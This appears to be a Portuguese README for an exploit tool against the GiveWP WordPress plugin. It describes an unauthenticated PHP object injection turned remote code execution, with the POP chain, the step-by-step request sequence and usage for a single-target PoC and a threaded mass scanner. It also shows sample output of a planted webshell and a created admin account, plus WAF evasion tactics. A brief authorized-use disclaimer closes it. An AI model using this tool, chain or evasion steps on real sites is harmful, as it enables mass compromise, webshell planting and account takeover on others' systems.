
GiveWP <= 4.16.7.1 Injeção de Objeto PHP Não Autenticada → RCE
Autor: Rx019
CVSS: 10.0 (Crítico)
Tipo: Injeção de Objeto PHP Não Autenticada → Execução Remota de Código
Plugin: GiveWP (give) — Plugin de Doações e Plataforma de Arrecadação
Afetado: <= 4.16.7.1
Corrigido: 4.16.8
O GiveWP armazena o last_name de um doador na sessão PHP sem sanitização. Quando uma doação é enviada sem o campo give_last, o GiveWP desserializa o valor bruto do banco de dados diretamente na sessão. Isso permite que um atacante não autenticado injete um objeto serializado em PHP no last_name por meio do endpoint de perfil do doador e, em seguida, acione a desserialização ao enviar uma doação manipulada — resultando na execução arbitrária de comandos por meio de uma cadeia POP pré-construída disponível nas bibliotecas de fornecedores incluídas no GiveWP.
TCPDF::__destruct()
└─ Session::getBag() ← chama o método nomeado por $attributeName
└─ DonationFactory::__call()
└─ system($command) ← $command vindo de $attributeName
Classes de fornecedores usadas:
| Classe | Arquivo |
|---|---|
TCPDF | vendor/tecnickcom/tcpdf/tcpdf.php |
Give\Vendors\Symfony\...\Session | vendor/symfony/http-foundation/Session/Session.php |
Give\TestData\Factories\DonationFactory | src/TestData/Factories/DonationFactory.php |
1. Registrar-se como doador → sessão autenticada (cookie wp-login)
2. POST /wp-admin/profile.php
last_name = cadeia TCPDF serializada com comando system() embutido
3. POST /wp-admin/admin-ajax.php
action=give_process_donation (campo give_last OMITIDO)
→ GiveWP lê last_name do banco de dados, grava objeto bruto na sessão
4. GET /?p={form_id}
→ o encerramento da sessão PHP dispara TCPDF::__destruct()
→ a cadeia POP executa system(command)
5. Confirmar shell / admin criado
pip install requests rich
Python >= 3.9
| Arquivo | Descrição |
|---|---|
CVE-2026-82222.py | PoC de alvo único — saída detalhada passo a passo |
CVE-2026-82222-MASS.py | Scanner em massa — modo de lote com threads |
python CVE-2026-82222.py
Prompt interativo:
URL do alvo: https://victim.com
Ou diretamente:
python CVE-2026-82222.py https://victim.com
# Lote a partir de arquivo
python CVE-2026-82222-MASS.py -f targets.txt
# Contagem personalizada de threads
python CVE-2026-82222-MASS.py -f targets.txt -t 10
# Múltiplos alvos inline
python CVE-2026-82222-MASS.py https://site1.com https://site2.com
# Menu interativo
python CVE-2026-82222-MASS.py
Formato do arquivo de lote:
# Linhas que começam com # são ignoradas
https://target1.com
https://target2.com
target3.com # protocolo prefixado automaticamente como https://
http://target4.com
╭─ CVE-2026-82222 | Rx019 ─────────────────────────────╮
│ │
│ PWNED (shell + direto) https://victim.com │
│ Versão : 4.15.0 │
│ WAF : Wordfence │
│ Shell : https://victim.com/wp-content/uploads/... │
│ Método : shell + direto (sem necessidade de gravar .php) │
│ Admin : rxadm3f91:RxAdm!k2m9xp7 ([email protected]) │
│ │
╰────────────────────────────────────────────────────────╯
Vulneráveis : 12 Parciais : 3 Corrigidos : 44 Não Vulneráveis : 21 Erros : 2 Total : 82
Resultados salvos em ~/Documents/CVE/CVE-2026-82222/:
| Arquivo | Conteúdo |
|---|---|
CVE-2026-82222_YYYYMMDD_HHMMSS.txt | Resultado de execução única |
CVE-2026-82222_batch_YYYYMMDD_HHMMSS.txt | Resultados completos do lote |
success_results.txt | Linhas VULN/PARTIAL anexadas |
O exploit tenta dois caminhos principais em sequência:
wp_create_user() como base64 na cadeia TCPDFUsado quando o Caminho A falha ou o login de admin não pode ser verificado.
last_name via endpoint de perfilgive_last)/?p={form_id})id | tee para um arquivo .txt em uploadsSe um shell for confirmado, mas nenhum admin existir ainda, criar um via shell usando wp_create_user() por meio do parâmetro ?c= do webshell.
| WAF | Estratégia |
|---|---|
| Imunify360 | Remover cabeçalhos de spoofing X-Forwarded-For / X-Real-IP |
| Wordfence | Rotacionar User-Agent a partir do pool |
| Cloudflare | Definir Accept-Encoding: gzip, deflate, br |
DISALLOW_FILE_EDIT em wp-config.php bloqueia o vetor do editor de plugin/tema — o script detecta isso antecipadamente e cai para o Caminho BRx{100-999}.php — randomizado por execuçãoEsta ferramenta é lançada apenas para testes de segurança autorizados e fins de pesquisa.
Use somente contra sistemas que você possui ou para os quais tenha permissão explícita por escrito para testar.
O uso não autorizado é ilegal e antiético.